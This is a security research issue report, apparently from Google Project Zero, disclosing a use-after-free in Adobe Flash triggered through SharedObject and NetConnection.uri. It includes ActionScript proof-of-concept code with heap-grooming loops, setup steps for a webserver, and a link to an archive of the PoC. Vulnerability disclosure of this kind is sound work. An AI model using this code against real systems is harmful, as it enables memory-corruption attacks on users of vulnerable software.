Source: https://code.google.com/p/google-security-research/issues/detail?id=360&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

In certain cases where a native AS2 class sets an internal atom to a value, it can lead to a use-after-free if the variable is a SharedObject. While this example shows setting NetConnection.uri, this issue occurs in several other 

A proof of concept is as follows:

var s = SharedObject.getLocal("test");

ASSetPropFlags(s, null, 0, 0xff);
ASSetPropFlags(s.data, null, 0, 0xff);
var q = {myprop  :"natalie", myprop2 : "test"};
var n = new NetConnection();

s.data.uri = q;
trace("uri " + s.data.uri);
s.flush();
ASnative(2100, 200)(s.data);

trace("uri " + s.data.uri);
n.connect.call(s.data, xx);
trace(s.data.uri);
s = 1;
var a = [];
var c = [];
for(i = 0; i < 200; i++){
	
	var b = new flash.display.BitmapData(1000, 1000, true, 10);
}

setInterval(f, 1000);

function f(){
	
	ASnative(252, 1).call(q); //Array push
	
	}

A fla, an AS file and two swfs are attached. slot.fla compiles to setnum.swf and contains the code that causes the use-after-free. loadswf.as compiles to loadswf.swf, and sets up the heap to cause a crash. To make the issue occur, put loadswf.swf and slot.swf in the same folder on a webserver (the PoCs don't always work locally due to flash network sandboxing), and load loadswf.swf. This PoC only works on 64-bit systems, but the issue would work on a 32-bit system with proper heap set-up. 

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37855.zip